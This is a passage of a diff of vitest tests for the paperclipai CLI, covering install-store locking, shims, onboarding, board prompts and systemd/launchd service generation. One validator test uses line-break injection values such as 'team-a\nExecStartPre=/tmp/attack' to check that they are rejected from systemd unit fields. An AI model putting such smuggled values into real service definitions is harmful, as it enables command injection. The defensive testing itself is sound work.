expect(fs.statSync(rcPath).mode & 0o777).toBe(0o640);
});
it("rejects marker substrings that are not the exact managed shim format", () => {
fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true });
fs.writeFileSync(paths.shimPath, `#!/bin/sh\necho '${MANAGED_SHIM_MARKER}'\n`);
expect(removeManagedShim(paths)).toBe(false);
expect(fs.existsSync(paths.shimPath)).toBe(true);
expect(() => writeManagedShim(paths)).toThrow("non-managed command");
});
it("serializes install-store mutations with an exclusive lock", async () => {
await expect(
withInstallStoreLock(
() => withInstallStoreLock(async () => undefined, paths),
paths,
),
).rejects.toThrow("already running");
expect(fs.existsSync(paths.lockPath)).toBe(false);
});
it("recovers a lock owned by a process that no longer exists", async () => {
const staleToken = "2147483647:stale";
await withInstallStoreLock(async () => undefined, paths);
fs.writeFileSync(paths.lockPath, `${staleToken}\n`, { mode: 0o600 });
await expect(withInstallStoreLock(async () => undefined, paths)).resolves.toBeUndefined();
expect(fs.existsSync(paths.lockPath)).toBe(false);
});
it("reports managed provenance only for the payload selected by current", () => {
const manifestPayload = payloadPathFor(paths, "npm", "1.0.0");
const currentPayload = payloadPathFor(paths, "npm", "2.0.0");
const executable = path.join(manifestPayload, "node_modules", "paperclipai", "dist", "index.js");
fs.mkdirSync(path.dirname(executable), { recursive: true });
fs.writeFileSync(executable, "");
fs.mkdirSync(currentPayload, { recursive: true });
flipCurrentAtomic(currentPayload, paths);
const manifest: InstallManifest = {
schemaVersion: INSTALL_MANIFEST_VERSION,
...record(manifestPayload, "1.0.0"),
previous: [],
};
expect(isManagedExecutable(executable, manifest, paths)).toBe(false);
});
it("refuses symlinked payload roots and pre-existing non-managed shims", () => {
const outside = path.join(root, "outside");
fs.mkdirSync(outside, { recursive: true });
fs.mkdirSync(paths.installsRoot, { recursive: true });
fs.symlinkSync(outside, path.join(paths.installsRoot, "npm"), "dir");
const escapedPayload = path.join(paths.installsRoot, "npm", "1.2.3");
fs.mkdirSync(path.join(outside, "1.2.3"));
expect(() => flipCurrentAtomic(escapedPayload, paths)).toThrow("resolves outside");
fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true });
fs.writeFileSync(paths.shimPath, "#!/bin/sh\necho other-command\n");
expect(() => writeManagedShim(paths)).toThrow("non-managed command");
});
it("refuses symlinked rc files, unsafe shim parents, and multiply linked shims", () => {
const outsideRc = path.join(root, "outside-rc");
fs.writeFileSync(outsideRc, "keep\n");
const rcPath = path.join(root, "home", ".bashrc");
fs.mkdirSync(path.dirname(rcPath), { recursive: true });
fs.symlinkSync(outsideRc, rcPath);
expect(() => addManagedPathBlock(rcPath)).toThrow("non-regular shell rc file");
expect(() => removeManagedPathBlock(rcPath)).toThrow("non-regular shell rc file");
expect(fs.readFileSync(outsideRc, "utf8")).toBe("keep\n");
fs.rmSync(rcPath);
const localDir = path.join(root, "home", ".local");
const outsideBin = path.join(root, "outside-bin");
fs.mkdirSync(outsideBin);
fs.symlinkSync(outsideBin, localDir, "dir");
expect(() => writeManagedShim(paths)).toThrow("unsafe shim directory");
fs.rmSync(localDir);
fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true });
fs.writeFileSync(paths.shimPath, `# ${MANAGED_SHIM_MARKER}\n`);
fs.linkSync(paths.shimPath, path.join(root, "linked-shim"));
expect(() => writeManagedShim(paths)).toThrow("multiply linked shim");
});
});
@@ -0,0 +1,88 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import { managedInstallChecks } from "../checks/managed-install-check.js";
import {
MANAGED_STORE_MARKER,
buildNextManifest,
flipCurrentAtomic,
resolveInstallStorePaths,
writeInstallManifestAtomic,
writeManagedShim,
} from "../install-store.js";
const originalPath = process.env.PATH;
afterEach(() => {
process.env.PATH = originalPath;
});
describe("managed install doctor checks", () => {
it("passes for a consistent store, manifest, current link, shim, and PATH", () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-"));
const paths = resolveInstallStorePaths({
paperclipHome: path.join(root, ".paperclip"),
homeDir: root,
});
const payloadPath = path.join(paths.installsRoot, "npm", "1.2.3");
fs.mkdirSync(path.join(payloadPath, "dist"), { recursive: true });
const manifest = buildNextManifest(
{
source: "npm",
version: "1.2.3",
channel: "latest",
payloadPath,
installedAt: "2026-07-22T00:00:00.000Z",
},
null,
);
flipCurrentAtomic(payloadPath, paths);
writeInstallManifestAtomic(manifest, paths);
writeManagedShim(paths);
process.env.PATH = `${path.dirname(paths.shimPath)}${path.delimiter}${originalPath ?? ""}`;
expect(managedInstallChecks(paths).every((result) => result.status === "pass")).toBe(true);
});
it("fails when managed artifacts exist without a manifest", () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-"));
const paths = resolveInstallStorePaths({
paperclipHome: path.join(root, ".paperclip"),
homeDir: root,
});
fs.mkdirSync(paths.cliRoot, { recursive: true });
fs.writeFileSync(paths.markerPath, MANAGED_STORE_MARKER);
expect(managedInstallChecks(paths)).toEqual([
expect.objectContaining({ name: "Managed install manifest", status: "fail" }),
]);
});
it("ignores the shared CLI directory when it only contains update notice state", () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-"));
const paths = resolveInstallStorePaths({
paperclipHome: path.join(root, ".paperclip"),
homeDir: root,
});
fs.mkdirSync(paths.cliRoot, { recursive: true });
fs.writeFileSync(path.join(paths.cliRoot, "update-check.json"), "{}\n");
expect(managedInstallChecks(paths)).toEqual([
expect.objectContaining({ name: "Managed install", status: "pass" }),
]);
});
it("ignores an empty installs directory left by a harmless lock lifecycle", () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-doctor-"));
const paths = resolveInstallStorePaths({
paperclipHome: path.join(root, ".paperclip"),
homeDir: root,
});
fs.mkdirSync(paths.installsRoot, { recursive: true });
expect(managedInstallChecks(paths)).toEqual([
expect.objectContaining({ name: "Managed install", status: "pass" }),
]);
});
});
+84
View File
@@ -0,0 +1,84 @@
import { describe, expect, it, vi } from "vitest";
import { handleOnboardService } from "../onboard-service.js";
function supportedDetection() {
return {
supported: true as const,
manager: {
platform: "systemd" as const,
instanceId: "default",
serviceName: "paperclipai.service",
definitionPath: "/tmp/paperclipai.service",
renderDefinition: () => "unit",
install: vi.fn(async () => ({ changed: true })),
uninstall: vi.fn(async () => undefined),
start: vi.fn(async () => undefined),
stop: vi.fn(async () => undefined),
restart: vi.fn(async () => undefined),
status: vi.fn(async () => ({
platform: "systemd" as const,
serviceName: "paperclipai.service",
installed: true,
active: true,
enabled: true,
pid: 123,
})),
logs: vi.fn(async () => undefined),
},
};
}
describe("onboard service policy", () => {
it("does not install during --yes onboarding without opt-in", async () => {
const detection = supportedDetection();
const info = vi.fn();
const installed = await handleOnboardService(
{ yes: true },
{ detect: vi.fn(async () => detection), isInteractive: () => false, info },
);
expect(installed).toBe(false);
expect(detection.manager.install).not.toHaveBeenCalled();
expect(info).toHaveBeenCalledWith(expect.stringContaining("--install-service"));
});
it("installs when --yes explicitly opts in", async () => {
const detection = supportedDetection();
const installed = await handleOnboardService(
{ yes: true, installService: true },
{ detect: vi.fn(async () => detection), isInteractive: () => false },
);
expect(installed).toBe(true);
expect(detection.manager.install).toHaveBeenCalledWith({ startNow: true, startOnLogin: true });
});
it("asks during interactive onboarding", async () => {
const detection = supportedDetection();
const confirm = vi.fn(async () => true);
const installed = await handleOnboardService(
{},
{ detect: vi.fn(async () => detection), isInteractive: () => true, confirm },
);
expect(confirm).toHaveBeenCalledOnce();
expect(installed).toBe(true);
});
it("silences the hint with --no-install-service", async () => {
const info = vi.fn();
const detect = vi.fn(async () => supportedDetection());
const installed = await handleOnboardService(
{ yes: true, installService: false },
{ detect, isInteractive: () => false, info },
);
expect(installed).toBe(false);
expect(detect).not.toHaveBeenCalled();
expect(info).not.toHaveBeenCalled();
});
});
+24
View File
@@ -8,6 +8,7 @@ import type { PaperclipConfig } from "../config/schema.js";
const ORIGINAL_ENV = { ...process.env };
const ORIGINAL_CWD = process.cwd();
const ORIGINAL_PATH = process.env.PATH;
const ORIGINAL_EXIT_CODE = process.exitCode;
function createExistingConfigFixture() {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-onboard-"));
@@ -87,6 +88,14 @@ describe("onboard", () => {
delete process.env.PAPERCLIP_AGENT_JWT_SECRET;
delete process.env.PAPERCLIP_SECRETS_MASTER_KEY;
delete process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
delete process.env.PAPERCLIP_DB_BACKUP_DIR;
delete process.env.PAPERCLIP_DB_BACKUP_ENABLED;
delete process.env.PAPERCLIP_DB_BACKUP_INTERVAL_MINUTES;
delete process.env.PAPERCLIP_DB_BACKUP_RETENTION_DAYS;
delete process.env.PAPERCLIP_STORAGE_PROVIDER;
delete process.env.PAPERCLIP_STORAGE_LOCAL_DIR;
delete process.env.PAPERCLIP_SECRETS_PROVIDER;
delete process.env.PAPERCLIP_SECRETS_STRICT_MODE;
delete process.env.PAPERCLIP_HOME;
delete process.env.PAPERCLIP_CONFIG;
delete process.env.PAPERCLIP_INSTANCE_ID;
@@ -99,6 +108,7 @@ describe("onboard", () => {
afterEach(() => {
process.env = { ...ORIGINAL_ENV };
process.chdir(ORIGINAL_CWD);
process.exitCode = ORIGINAL_EXIT_CODE;
});
it("preserves an existing config when rerun without flags", async () => {
@@ -121,6 +131,20 @@ describe("onboard", () => {
expect(fs.existsSync(path.join(path.dirname(fixture.configPath), ".env"))).toBe(true);
});
it("backs up invalid config bytes and refuses --yes replacement", async () => {
const configPath = createFreshConfigPath();
const invalidBytes = Buffer.from('{"database": invalid}\n', "utf8");
fs.mkdirSync(path.dirname(configPath), { recursive: true });
fs.writeFileSync(configPath, invalidBytes);
await onboard({ config: configPath, yes: true, invokedByRun: true });
expect(process.exitCode).toBe(1);
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
});
it("keeps --yes onboarding on local trusted loopback defaults", async () => {
const configPath = createFreshConfigPath();
process.env.HOST = "0.0.0.0";
+5
View File
@@ -1,3 +1,6 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerGoalCommands } from "../commands/client/goal.js";
@@ -25,10 +28,12 @@ describe("project and goal commands", () => {
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
delete process.env.PAPERCLIP_COMPANY_ID;
process.env.PAPERCLIP_CONTEXT = path.join(fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-project-goal-")), "context.json");
});
afterEach(() => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_CONTEXT;
});
it("creates and updates projects with shared schemas", async () => {
+96 -1
View File
@@ -3,7 +3,7 @@ import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { writeContext } from "../client/context.js";
import { runAgentPrompt } from "../commands/client/prompt.js";
import { runAgentPrompt, runBoardPrompt } from "../commands/client/prompt.js";
const ORIGINAL_ENV = { ...process.env };
@@ -99,4 +99,99 @@ describe("prompt handoff", () => {
});
expect(fetchMock.mock.calls[2]?.[0]).toBe("http://localhost:3100/api/agents/11111111-1111-4111-8111-111111111111/wakeup");
});
it("fails when a board prompt uses an agent persona profile", async () => {
const contextPath = createTempContextPath();
writeContext(
{
version: 2,
currentProfile: "agent",
profiles: {
agent: {
apiBase: "http://localhost:3100",
companyId: "22222222-2222-4222-8222-222222222222",
persona: "agent",
agentId: "11111111-1111-4111-8111-111111111111",
},
},
},
contextPath,
);
await expect(runBoardPrompt("worker", "Do the work", {
context: contextPath,
apiKey: "board-token",
})).rejects.toThrow(/persona=agent/);
});
it("creates an assigned issue and wakes the target agent with board auth", async () => {
const fetchMock = vi
.fn()
.mockResolvedValueOnce(new Response(JSON.stringify(agent()), { status: 200 }))
.mockResolvedValueOnce(new Response(JSON.stringify({
id: "issue-1",
companyId: "22222222-2222-4222-8222-222222222222",
title: "Investigate queue lag",
status: "todo",
priority: "medium",
assigneeAgentId: "11111111-1111-4111-8111-111111111111",
}), { status: 201 }))
.mockResolvedValueOnce(new Response(JSON.stringify({ id: "run-1", status: "queued" }), { status: 202 }));
vi.stubGlobal("fetch", fetchMock);
const result = await runBoardPrompt("worker", "Investigate queue lag", {
apiBase: "http://localhost:3100",
apiKey: "board-token",
companyId: "22222222-2222-4222-8222-222222222222",
});
expect(result.actor).toBe("board");
expect(result.mode).toBe("issue");
expect(result.agent.id).toBe("11111111-1111-4111-8111-111111111111");
expect(fetchMock).toHaveBeenCalledTimes(3);
expect(fetchMock.mock.calls[0]?.[0]).toBe(
"http://localhost:3100/api/agents/worker?companyId=22222222-2222-4222-8222-222222222222",
);
expect(fetchMock.mock.calls[1]?.[0]).toBe(
"http://localhost:3100/api/companies/22222222-2222-4222-8222-222222222222/issues",
);
expect(JSON.parse(String(fetchMock.mock.calls[1]?.[1]?.body))).toMatchObject({
assigneeAgentId: "11111111-1111-4111-8111-111111111111",
description: "Investigate queue lag",
title: "Investigate queue lag",
});
expect(fetchMock.mock.calls[2]?.[0]).toBe(
"http://localhost:3100/api/agents/11111111-1111-4111-8111-111111111111/wakeup",
);
});
it("adds a board-authored prompt comment without waking when disabled", async () => {
const fetchMock = vi
.fn()
.mockResolvedValueOnce(new Response(JSON.stringify(agent()), { status: 200 }))
.mockResolvedValueOnce(new Response(JSON.stringify({
id: "comment-1",
issueId: "issue-1",
body: "Follow up on queue lag",
}), { status: 201 }));
vi.stubGlobal("fetch", fetchMock);
const result = await runBoardPrompt("worker", "Follow up on queue lag", {
apiBase: "http://localhost:3100",
apiKey: "board-token",
companyId: "22222222-2222-4222-8222-222222222222",
issue: "issue-1",
wake: false,
});
expect(result.actor).toBe("board");
expect(result.mode).toBe("comment");
expect(result.wakeup).toBeNull();
expect(fetchMock).toHaveBeenCalledTimes(2);
expect(fetchMock.mock.calls[1]?.[0]).toBe("http://localhost:3100/api/issues/issue-1/comments");
expect(JSON.parse(String(fetchMock.mock.calls[1]?.[1]?.body))).toMatchObject({
body: "Follow up on queue lag",
resume: false,
});
});
});
@@ -79,9 +79,9 @@ describe("routine and plugin parity commands", () => {
await run(["plugin", "health", "plug"]);
await run(["plugin", "logs", "plug"]);
await run(["plugin", "upgrade", "plug"]);
await run(["plugin", "config", "plug"]);
await run(["plugin", "config:set", "plug", "--payload-json", "{}"]);
await run(["plugin", "config:test", "plug", "--payload-json", "{}"]);
await run(["plugin", "config", "plug", "--company-id", COMPANY_ID]);
await run(["plugin", "config:set", "plug", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["plugin", "config:test", "plug", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["plugin", "jobs", "plug"]);
await run(["plugin", "job:runs", "plug", "job1"]);
await run(["plugin", "job:trigger", "plug", "job1"]);
@@ -104,7 +104,7 @@ describe("routine and plugin parity commands", () => {
["GET", "http://localhost:3100/api/plugins/plug/health"],
["GET", "http://localhost:3100/api/plugins/plug/logs"],
["POST", "http://localhost:3100/api/plugins/plug/upgrade"],
["GET", "http://localhost:3100/api/plugins/plug/config"],
["GET", `http://localhost:3100/api/plugins/plug/config?companyId=${COMPANY_ID}`],
["POST", "http://localhost:3100/api/plugins/plug/config"],
["POST", "http://localhost:3100/api/plugins/plug/config/test"],
["GET", "http://localhost:3100/api/plugins/plug/jobs"],
@@ -123,6 +123,19 @@ describe("routine and plugin parity commands", () => {
["PUT", `http://localhost:3100/api/plugins/plug/companies/${COMPANY_ID}/local-folders/source`],
]);
});
it("resolves plugin config company context from the environment", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
process.env.PAPERCLIP_COMPANY_ID = COMPANY_ID;
await run(["plugin", "config", "plug"]);
expect(fetchMock).toHaveBeenCalledWith(
`http://localhost:3100/api/plugins/plug/config?companyId=${COMPANY_ID}`,
expect.objectContaining({ method: "GET" }),
);
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
+3
View File
@@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => {
delete process.env.AWS_DEFAULT_REGION;
delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID;
delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID;
delete process.env.AWS_ACCESS_KEY_ID;
delete process.env.AWS_SECRET_ACCESS_KEY;
delete process.env.AWS_SESSION_TOKEN;
});
afterEach(() => {
@@ -0,0 +1,142 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { serviceHealthChecks } from "../checks/service-health-check.js";
import { resolveRestartExpectedVersion, withHotRestartLock } from "../commands/service.js";
import type { PaperclipConfig } from "../config/schema.js";
import { buildLocalHealthUrl } from "../utils/health-url.js";
const config = {
server: { host: "127.0.0.1", port: 3100 },
} as PaperclipConfig;
let previousPaperclipHome: string | undefined;
let previousServiceManaged: string | undefined;
beforeEach(() => {
previousPaperclipHome = process.env.PAPERCLIP_HOME;
previousServiceManaged = process.env.PAPERCLIP_SERVICE_MANAGED;
process.env.PAPERCLIP_HOME = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-service-restart-"));
});
afterEach(() => {
if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
else process.env.PAPERCLIP_HOME = previousPaperclipHome;
if (previousServiceManaged === undefined) delete process.env.PAPERCLIP_SERVICE_MANAGED;
else process.env.PAPERCLIP_SERVICE_MANAGED = previousServiceManaged;
});
function managerFixture(active = true) {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-service-doctor-"));
const definitionPath = path.join(root, "paperclipai.service");
fs.writeFileSync(definitionPath, "unit");
return {
platform: "systemd" as const,
instanceId: "default",
serviceName: "paperclipai.service",
definitionPath,
renderDefinition: () => "unit",
install: vi.fn(async () => ({ changed: false })),
uninstall: vi.fn(async () => undefined),
start: vi.fn(async () => undefined),
stop: vi.fn(async () => undefined),
restart: vi.fn(async () => undefined),
status: vi.fn(async () => ({
platform: "systemd" as const,
serviceName: "paperclipai.service",
installed: true,
active,
enabled: true,
pid: active ? 123 : null,
linger: true,
})),
logs: vi.fn(async () => undefined),
};
}
describe("service health doctor checks", () => {
it("skips live service checks during the managed unit's own activation", async () => {
process.env.PAPERCLIP_SERVICE_MANAGED = "1";
const detect = vi.fn();
const probe = vi.fn();
await expect(serviceHealthChecks(config, { detect, probe })).resolves.toEqual([]);
expect(detect).not.toHaveBeenCalled();
expect(probe).not.toHaveBeenCalled();
});
it("skips exact version matching unless a restart version is explicit", () => {
expect(resolveRestartExpectedVersion(null)).toBeNull();
expect(resolveRestartExpectedVersion(undefined)).toBeNull();
expect(resolveRestartExpectedVersion("1.2.3")).toBe("1.2.3");
});
it("serializes concurrent restarts for the same instance", async () => {
const order: string[] = [];
let releaseFirst!: () => void;
const firstBlocked = new Promise<void>((resolve) => { releaseFirst = resolve; });
const first = withHotRestartLock("default", async () => {
order.push("first-start");
await firstBlocked;
order.push("first-end");
}, { pollMs: 5 });
await vi.waitFor(() => expect(order).toEqual(["first-start"]));
const second = withHotRestartLock("default", async () => {
order.push("second-start");
}, { pollMs: 5 });
await new Promise((resolve) => setTimeout(resolve, 20));
expect(order).toEqual(["first-start"]);
releaseFirst();
await Promise.all([first, second]);
expect(order).toEqual(["first-start", "first-end", "second-start"]);
});
it("reclaims restart locks left by terminated processes", async () => {
const lockPath = path.join(process.env.PAPERCLIP_HOME!, "instances", "default", "hot-restart.lock");
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
fs.writeFileSync(lockPath, "424242:stale-token\n");
const callback = vi.fn(async () => "restarted");
await expect(withHotRestartLock("default", callback, {
pollMs: 1,
timeoutMs: 20,
isProcessAlive: () => false,
})).resolves.toBe("restarted");
expect(callback).toHaveBeenCalledOnce();
expect(fs.existsSync(lockPath)).toBe(false);
});
it("brackets configured IPv6 hosts in health URLs", () => {
expect(buildLocalHealthUrl("::1", 3100)).toBe("http://[::1]:3100/api/health");
expect(buildLocalHealthUrl("::", 3100)).toBe("http://127.0.0.1:3100/api/health");
});
it("passes for a current, active, healthy service", async () => {
const manager = managerFixture();
const results = await serviceHealthChecks(config, {
detect: vi.fn(async () => ({ supported: true as const, manager })),
probe: vi.fn(async () => ({ ok: true, version: "1.2.3" })),
});
expect(results.every((result) => result.status === "pass")).toBe(true);
});
it("detects a foreground process on the configured port while the service is inactive", async () => {
const manager = managerFixture(false);
const results = await serviceHealthChecks(config, {
detect: vi.fn(async () => ({ supported: true as const, manager })),
probe: vi.fn(async () => ({ ok: true, version: "1.2.3" })),
});
expect(results).toContainEqual(
expect.objectContaining({
name: "Service runtime",
status: "fail",
message: expect.stringContaining("another Paperclip process"),
}),
);
});
});
+216
View File
@@ -0,0 +1,216 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import {
assertForegroundRunAllowed,
detectServiceManager,
LaunchdServiceManager,
renderLaunchdPlist,
renderSystemdUnit,
SystemdServiceManager,
type CommandRunner,
type ServiceManager,
} from "../services/service-manager.js";
const temporaryDirectories: string[] = [];
afterEach(async () => {
await Promise.all(temporaryDirectories.splice(0).map((directory) => fs.rm(directory, { recursive: true, force: true })));
delete process.env.PAPERCLIP_SERVICE_MANAGED;
});
async function temporaryDirectory(): Promise<string> {
const directory = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-service-test-"));
temporaryDirectories.push(directory);
return directory;
}
describe("service definition generation", () => {
it("generates a stable systemd notify unit without secrets", () => {
const unit = renderSystemdUnit({ instanceId: "team-a", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip" });
expect(unit).toContain("Type=notify");
expect(unit).toContain("NotifyAccess=all");
expect(unit).toContain('ExecStart="/home/alice/.local/bin/paperclipai" run --instance "team-a"');
expect(unit).toContain("Restart=always");
expect(unit).toContain("TimeoutStopSec=300");
expect(unit).not.toContain("API_KEY");
});
it("escapes systemd variable and specifier expansion in configured values", () => {
const unit = renderSystemdUnit({
instanceId: "team-$USER-%i",
shimPath: "/home/$USER/%i/paperclipai",
homeDir: "/home/$USER/%i/.paperclip",
});
expect(unit).toContain('ExecStart="/home/$$USER/%%i/paperclipai" run --instance "team-$$USER-%%i"');
expect(unit).toContain('Environment="PAPERCLIP_HOME=/home/$$USER/%%i/.paperclip"');
});
it.each([
["instanceId", { instanceId: "team-a\nExecStartPre=/tmp/attack", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip" }],
["shimPath", { instanceId: "team-a", shimPath: "/home/alice/bin/paperclipai\r\nExecStartPre=/tmp/attack", homeDir: "/home/alice/.paperclip" }],
["homeDir", { instanceId: "team-a", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip\nEnvironment=ATTACK=1" }],
])("rejects line breaks in the systemd %s", (_field, input) => {
expect(() => renderSystemdUnit(input)).toThrow("Systemd service values must not contain line breaks");
});
it("generates a launchd agent with keepalive and instance logs", () => {
const plist = renderLaunchdPlist({ instanceId: "team-a", shimPath: "/Users/alice/.local/bin/paperclipai", homeDir: "/Users/alice/.paperclip", stdoutPath: "/Users/alice/.paperclip/instances/team-a/logs/service.log", stderrPath: "/Users/alice/.paperclip/instances/team-a/logs/service.err.log" });
expect(plist).toContain("ing.paperclip.paperclipai.team-a");
expect(plist).toContain("<key>RunAtLoad</key><true/>");
expect(plist).toContain("<key>KeepAlive</key><true/>");
expect(plist).toContain("service.err.log");
});
});
describe("systemd drift regeneration", () => {
it("rewrites a drifted unit and reloads the user manager", async () => {
const userHome = await temporaryDirectory();
const calls: string[] = [];
const runner: CommandRunner = async (command, args) => {
calls.push([command, ...args].join(" "));
return { stdout: "", stderr: "" };
};
const manager = new SystemdServiceManager("default", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true });
await fs.writeFile(manager.definitionPath, "stale\n", "utf8");
const result = await manager.install({ startNow: false, startOnLogin: false });
expect(result.changed).toBe(true);
expect(await fs.readFile(manager.definitionPath, "utf8")).toBe(manager.renderDefinition());
expect(calls).toContain("systemctl --user daemon-reload");
});
it("keeps the unit installed when stopping an active service fails", async () => {
const userHome = await temporaryDirectory();
const runner: CommandRunner = async (command, args) => {
if (args.includes("--property=LoadState,ActiveState,UnitFileState,MainPID")) return { stdout: "LoadState=loaded\nActiveState=active\nUnitFileState=enabled\nMainPID=42\n", stderr: "" };
if (command === "systemctl" && args.includes("stop")) throw new Error("stop failed");
return { stdout: "", stderr: "" };
};
const manager = new SystemdServiceManager("default", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true });
await fs.writeFile(manager.definitionPath, manager.renderDefinition(), "utf8");
await expect(manager.uninstall()).rejects.toThrow("stop failed");
await expect(fs.access(manager.definitionPath)).resolves.toBeUndefined();
});
});
describe("service adapter dispatch", () => {
it("selects launchd on macOS", async () => {
const detection = await detectServiceManager({ platform: "darwin", instanceId: "default" });
expect(detection.supported).toBe(true);
if (detection.supported) expect(detection.manager).toBeInstanceOf(LaunchdServiceManager);
});
it("selects systemd only when the user manager is reachable", async () => {
const runner: CommandRunner = async () => ({ stdout: "", stderr: "" });
const detection = await detectServiceManager({ platform: "linux", instanceId: "default", runner });
expect(detection.supported).toBe(true);
if (detection.supported) expect(detection.manager).toBeInstanceOf(SystemdServiceManager);
});
it("returns a foreground-run skip on unsupported hosts", async () => {
const runner: CommandRunner = async () => { throw new Error("no bus"); };
const detection = await detectServiceManager({ platform: "linux", instanceId: "default", runner });
expect(detection).toEqual({ supported: false, reason: expect.stringContaining("paperclipai run") });
});
});
describe("launchd lifecycle", () => {
it("starts without changing the saved login preference", async () => {
const userHome = await temporaryDirectory();
const calls: string[] = [];
const runner: CommandRunner = async (command, args) => {
calls.push([command, ...args].join(" "));
if (args[0] === "print-disabled") return { stdout: `\"ing.paperclip.paperclipai.team-a\" => true`, stderr: "" };
return { stdout: "", stderr: "" };
};
const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await manager.start();
expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`);
expect(calls).not.toContain(`launchctl enable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`);
});
it("preserves disabled state when the service name contains regex metacharacters", async () => {
const userHome = await temporaryDirectory();
const calls: string[] = [];
const serviceName = "ing.paperclip.paperclipai.team[qa]+";
const runner: CommandRunner = async (command, args) => {
calls.push([command, ...args].join(" "));
if (args[0] === "print-disabled") return { stdout: `"${serviceName}" => true`, stderr: "" };
return { stdout: "", stderr: "" };
};
const manager = new LaunchdServiceManager("team[qa]+", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await manager.start();
expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/${serviceName}`);
expect(calls).not.toContain(`launchctl enable gui/${process.getuid?.() ?? 0}/${serviceName}`);
});
it("disables login startup and unloads the keepalive job when stopped", async () => {
const userHome = await temporaryDirectory();
const calls: string[] = [];
const runner: CommandRunner = async (command, args) => {
calls.push([command, ...args].join(" "));
return { stdout: "", stderr: "" };
};
const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await manager.install({ startNow: false, startOnLogin: false });
await manager.stop();
expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`);
expect(calls).toContain(`launchctl bootout gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`);
expect(calls.some((call) => call.includes("launchctl kill"))).toBe(false);
});
it("disables login startup when uninstalled", async () => {
const userHome = await temporaryDirectory();
const calls: string[] = [];
const runner: CommandRunner = async (command, args) => {
calls.push([command, ...args].join(" "));
return { stdout: "", stderr: "" };
};
const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await manager.uninstall();
expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`);
});
});
describe("single-writer guard", () => {
const activeManager = { status: async () => ({ active: true, serviceName: "paperclipai.service" }) } as unknown as ServiceManager;
const detector = async () => ({ supported: true as const, manager: activeManager });
it("refuses a second foreground writer", async () => {
await expect(assertForegroundRunAllowed("default", false, detector)).rejects.toThrow("already running");
});
it("allows an explicit force override", async () => {
await expect(assertForegroundRunAllowed("default", true, detector)).resolves.toBeUndefined();
});
it("allows the supervisor-owned process", async () => {
process.env.PAPERCLIP_SERVICE_MANAGED = "1";
await expect(assertForegroundRunAllowed("default", false, detector)).resolves.toBeUndefined();
});
it("refuses to replace a symlinked service definition", async () => {
const userHome = await temporaryDirectory();
const manager = new SystemdServiceManager("default", async () => ({ stdout: "", stderr: "" }), path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome);
await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true });
const target = path.join(userHome, "target.service"); await fs.writeFile(target, "preserve\n"); await fs.symlink(target, manager.definitionPath);
await expect(manager.install({ startNow: false, startOnLogin: false })).rejects.toThrow("unsafe service definition");
